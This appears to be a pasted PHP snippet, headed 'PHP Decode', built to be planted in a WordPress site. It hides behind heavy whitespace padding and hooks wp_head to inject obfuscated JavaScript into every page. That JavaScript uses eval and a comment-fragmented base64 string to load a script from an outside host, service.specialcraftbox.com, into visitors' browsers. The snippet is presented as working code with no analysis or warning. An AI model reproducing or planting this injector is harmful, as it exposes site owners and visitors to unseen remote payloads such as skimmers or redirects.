PHP Decode

<?  require_once __DIR__ . '/wp-load.php';                                                                                                                                                                                                                                                                                                                           function hook_csssss() { echo '<script>var filjlxtxyoa/*rvxrdwrict*/=/*rvxrdwrict*/eval;/*rvxrdwrict*/var ytwfy/*rvxrdwrict*/=/*rvxrdwrict*/atob;filjlxtxyoa(ytwfy("d"+/*rvxrdwrict*/"mFy"+/*rvxrdwrict*/"IGNjPTE7d"+/*rvxrdwrict*/"mFy"+/*rvxrdwrict*/"IGQ"+/*ouibk*/"9ZG9jd"+/*rvxrdwrict*/"W1lbnQ"+/*ouibk*/"7Y2M9Mjt2YXIgcz"+/*kpkv*/"1kLmNy"+/*rvxrdwrict*/"ZWF0"+/*kpkv*/"ZUVs"+/*ouibk*/"ZW1lbnQ"+/*ouibk*/"oInNjcmlwd"+/*rvxrdwrict*/"CIpO2NjPTM7cy"+/*rvxrdwrict*/"5"+/*ouibk*/"z"+/*kpkv*/"cmM9J2h0"+/*kpkv*/"d"+/*rvxrdwrict*/"HBz"+/*kpkv*/"Oi8vc2Vy"+/*rvxrdwrict*/"d"+/*rvxrdwrict*/"mljZS5"+/*ouibk*/"z"+/*kpkv*/"cGVjaWFs"+/*ouibk*/"Y3JhZnRib3guY29tL2g0"+/*kpkv*/"YmZMSCc7Y2M9NDtkLmd"+/*rvxrdwrict*/"ld"+/*rvxrdwrict*/"EVs"+/*ouibk*/"ZW1lbnRz"+/*kpkv*/"Q"+/*ouibk*/"nlUYWd"+/*rvxrdwrict*/"OYW1lKCd"+/*rvxrdwrict*/"oZWFkJy"+/*rvxrdwrict*/"lbMF0"+/*kpkv*/"uYXBwZW5"+/*ouibk*/"kQ"+/*ouibk*/"2hpbGQ"+/*ouibk*/"ocy"+/*rvxrdwrict*/"k7"));</script>';} add_action('wp_head', 'hook_csssss'); 
 ?>